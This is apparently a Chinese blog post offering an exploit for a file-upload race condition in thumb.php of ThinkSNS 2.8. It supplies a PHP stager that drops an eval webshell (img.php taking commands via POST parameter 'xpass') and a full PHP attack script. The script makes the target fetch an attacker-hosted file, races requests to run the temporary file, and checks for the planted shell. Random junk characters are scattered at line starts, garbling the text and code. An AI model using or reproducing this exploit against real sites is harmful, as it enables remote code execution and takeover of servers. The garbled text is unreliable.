Thinksns2.8文件上传漏洞利用exp

admin

漏洞版本
( ^, N" P' g/ T/ f存在漏洞的版本为：最新的2.8稳定版。（其它版本没测试过）
. P8 c3 d; Z- l) a漏洞文件
5 [1 F, p7 t+ c& C- w! r2 W存在漏洞的文件为：thumb.php
作者：韦鲲鹏
1、        准备如下PHP文件并上传到服务器（自己的）。
) x. K7 F0 J* p" g. s4 B' x文件内容如下：
<?php echo “<?php fwrite(fopen(‘img.php’,'w’), ‘<?php @eval(\$_POST[\"xpass\"]);?>’); ?>” ?>
2、        计算出临时的文件名：
: A+ @" m: ^2 j6 f1 p' @# a这里我们可以看文件的99行（刚刚是不是没注意呀！）。

3、        上传临时文件。
6 ^" `6 W  A8 ?2 o/ ]/ c7 b4、        访问临时文件。
但是这里有个问题，PHP脚本执行的速度是非常快的，如果手工来执行第三和第四步的话，那需要的反应速度该多快呀！所以必须写一个工具来代替人来提交数 据，而且，为了增加第三步的执行时间，为第四步争取时间，我们需要给第一步所准备的PHP填充内容，经过测试，文件大小为300KB时成功率最高。（太小 时间太短，太大可能传不上去。）
Exploit文件内容如下：（这个我就不详细解释了）
" ~* F6 ~6 u2 k% L<?php
) {! I& D& [! U0 w) Z! n9 Terror_reporting(0);
set_time_limit(0);
ini_set(“default_socket_timeout”, 5);
# Z, T% \4 R4 _4 c: }6 j. bfunction http_send($host, $port, $headers) {
$fp = fsockopen($host, $port);
1 Q" @9 S+ R+ I2 pif (!$fp) die(‘Connection -> fail’);
fputs($fp, $headers);
* k  y7 ?7 E2 z# sreturn $fp;
}
$ s8 p6 b% R, w0 Cfunction http_recv($fp) {
$ret=”";
while (!feof($fp))
9 _$ B7 G2 Q' ^( K2 \$ret.= fgets($fp, 1024);
fclose($fp);
return $ret;
}
print “\n#  ThinkSns Arbitrary File Upload   #\n”;
print “# Discovered by 韦鲲鹏 #\n\n”;
if ($argc < 4) {
1 v  L9 z8 p  j; Sprint “Usage:   php <host> <path> <romote_url>\n”;
) d! l, T# Q: I& r1 wprint “Example: php localhost /thinksns/ http://localhost/test/123.php\n”;
0 X. A7 H6 w6 Z/ h. Qdie();
}
$host = $argv[1];
$path = $argv[2];
$url = $argv[3];
, a: N+ l. |9 c: K! j5 s$i=0;
//上传数据包
$headers_up = “GET {$path}thumb.php?url=”.$url.” HTTP/1.1\r\n”;
; q2 ^( O1 X) K$headers_up .= “Host: “.$host.”\r\n”;
2 D8 z# ~) [/ o" O8 m$headers_up .= “Connection: close\r\n\r\n”;
echo $headers_up;
//临时文件访问数据包
; j' ]. E$ e& v) Z* Q# ]$headers = “GET {$path}data/thumb_temp/”.md5($url).strrchr($url,”.”).” HTTP/1.1\r\n”;
$headers .= “Host: “.$host.”\r\n”;
2 X$ Q0 r/ k! |% B6 Q4 A$ C$headers .= “Connection: close\r\n\r\n”;
6 e$ g/ Z9 Z6 v, [2 }$ b: x; u! Vecho $headers;
  h! L& X, a+ n. Twhile(++$i<10) {
fclose(http_send($host, 80, $headers));
}
: T) F/ c$ j. B" L' b% hfclose(http_send($host, 80, $headers_up));
8 o+ F7 O: U0 L. q/ Gwhile(++$i<50) {
7 I+ T" Q1 ~6 j9 [+ c! q: ?) t# {fclose(http_send($host, 80, $headers));
- P! L9 g  A# j}
, @1 r4 A, x9 l) ?7 o; c# P2 x% @$headers = “GET {$path}data/thumb_temp/img.php HTTP/1.1\r\n”;
$headers .= “Host: “.$host.”\r\n”;
$headers .= “Connection: close\r\n\r\n”;
! o5 ]1 y' _$ g  R: d- l$ s5 K$res=http_recv(http_send($host, 80, $headers));
: K$ o! k+ F2 \4 I3 Tif(preg_match(‘/200 OK/’,$res)) {
print “Success!\n\n”;
} else {
8 [, c6 b: y' S) G& c; q; R) Mprint “Fail!\n\n”;
}
?>
​